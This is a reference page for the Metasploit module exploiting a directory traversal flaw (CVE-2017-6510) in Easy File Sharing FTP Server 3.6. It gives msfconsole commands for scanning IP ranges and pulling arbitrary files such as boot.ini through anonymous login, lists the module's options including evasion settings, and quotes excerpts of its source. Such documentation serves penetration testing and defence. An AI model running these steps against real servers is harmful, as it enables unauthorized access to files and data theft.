Easy File Sharing FTP Server 3.6 Directory Traversal - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/ftp/easy_file_sharing_ftp metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

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Module Overview

Name: Easy File Sharing FTP Server 3.6 Directory Traversal
Module: auxiliary/scanner/ftp/easy_file_sharing_ftp
Source code: modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb
Disclosure date: 2017-03-07
Last modification time: 2020-10-02 17:38:06 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: ftp
Target network port(s): 21, 2121
List of CVEs: CVE-2017-6510

This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier. This vulnerability allows an attacker to download arbitrary files from the server by crafting a RETR command that includes file system traversal strings such as '../'

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/ftp/easy_file_sharing_ftp
msf auxiliary(easy_file_sharing_ftp) > show options
    ... show and set options ...
msf auxiliary(easy_file_sharing_ftp) > set RHOSTS ip-range
msf auxiliary(easy_file_sharing_ftp) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(easy_file_sharing_ftp) > set RHOSTS 192.168.1.3-192.168.1.200

Example 2:

msf auxiliary(easy_file_sharing_ftp) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(easy_file_sharing_ftp) > set RHOSTS file:/tmp/ip_list.txt

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base

Vulnerable Application

This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.

By default, anonymous access is allowed by the FTP server.

Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the vulnerable application from the official website:

http://www.efssoft.com/efsfs.exe

Options

Since the FTP server allows anonymous access, by default, you only need to configure:

RHOSTS

The FTP server IP address.

PATH

The file you wish to download. Assume this path starts from C:\

Scenarios

ftp

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Msfconsole Usage

Here is how the scanner/ftp/easy_file_sharing_ftp auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/ftp/easy_file_sharing_ftp

msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show info

       Name: Easy File Sharing FTP Server 3.6 Directory Traversal
     Module: auxiliary/scanner/ftp/easy_file_sharing_ftp
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-03-07

Provided by:
  Ahmed Elhady Mohamed

Check supported:
  Yes

Basic options:
  Name     Current Setting      Required  Description
  ----     ---------------      --------  -----------
  DEPTH    32                   yes       Traversal Depth (to reach the root folder)
  FTPPASS  [email protected]  no        The password for the specified username
  FTPUSER  anonymous            no        The username to authenticate as
  PATH     boot.ini             yes       Path to the file to disclose, relative to the root dir.
  RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT    21                   yes       The target port (TCP)
  THREADS  1                    yes       The number of concurrent threads (max one per host)

Description:
  This module exploits a directory traversal vulnerability found in 
  Easy File Sharing FTP Server Version 3.6 and Earlier. This 
  vulnerability allows an attacker to download arbitrary files from 
  the server by crafting a RETR command that includes file system 
  traversal strings such as '../'

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-6510

Module Options

This is a complete list of options available in the scanner/ftp/easy_file_sharing_ftp auxiliary module:

msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show options

Module options (auxiliary/scanner/ftp/easy_file_sharing_ftp):

   Name     Current Setting      Required  Description
   ----     ---------------      --------  -----------
   DEPTH    32                   yes       Traversal Depth (to reach the root folder)
   FTPPASS  [email protected]  no        The password for the specified username
   FTPUSER  anonymous            no        The username to authenticate as
   PATH     boot.ini             yes       Path to the file to disclose, relative to the root dir.
   RHOSTS                        yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT    21                   yes       The target port (TCP)
   THREADS  1                    yes       The number of concurrent threads (max one per host)

Advanced Options

Here is a complete list of advanced options supported by the scanner/ftp/easy_file_sharing_ftp auxiliary module:

msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show advanced

Module advanced options (auxiliary/scanner/ftp/easy_file_sharing_ftp):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ConnectTimeout       10               yes       Maximum number of seconds to establish a TCP connection
   FTPDEBUG             false            no        Whether or not to print verbose debug statements
   FTPTimeout           16               yes       The number of seconds to wait for a reply from an FTP command
   PassiveMode          false            no        Set true for extended passive (EPSV) ftp mode.
   Proxies                               no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                  false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                             no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode        PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion           Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions

This is a list of all auxiliary actions that the scanner/ftp/easy_file_sharing_ftp module can do:

msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show actions

Auxiliary actions:

   Name  Description
   ----  -----------

Evasion Options

Here is the full list of possible evasion options supported by the scanner/ftp/easy_file_sharing_ftp auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/ftp/easy_file_sharing_ftp) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

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Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

data_connect failed; posssible invalid response

Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:

53:	    begin
54:	      # Login anonymously and open the socket that we'll use for data retrieval.
55:	      connect_login
56:	      sock = data_connect
57:	      if sock.nil?
58:	        error_msg = 'data_connect failed; posssible invalid response'
59:	        print_status(error_msg)
60:	        elog(error_msg)
61:	      else
62:	        file_path = datastore['PATH']
63:	        file = ::File.basename(file_path)

data_connect failed; posssible invalid response

Here is a relevant code snippet related to the "data_connect failed; posssible invalid response" error message:

67:	        res = send_cmd( ["RETR", retr_cmd])
68:	
69:	        # read the file data from the socket that we opened
70:	        # dont assume theres still a sock to read from. Per #7582
71:	        if sock.nil?
72:	          error_msg = 'data_connect failed; posssible invalid response'
73:	          print_status(error_msg)
74:	          elog(error_msg)
75:	          return
76:	        else
77:	          # read the file data from the socket that we opened

<FILE_PATH> not found

Here is a relevant code snippet related to the "<FILE_PATH> not found" error message:

77:	          # read the file data from the socket that we opened
78:	          response_data = sock.read(1024)
79:	        end
80:	
81:	        unless response_data
82:	          print_error("#{file_path} not found")
83:	          return
84:	        end
85:	
86:	        if response_data.length == 0 or ! (res =~ /^150/ )
87:	          print_status("File (#{file_path})from #{peer} is empty...")

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References

See Also

Check also the following modules related to this module:

Authors

  • Ahmed Elhady Mohamed

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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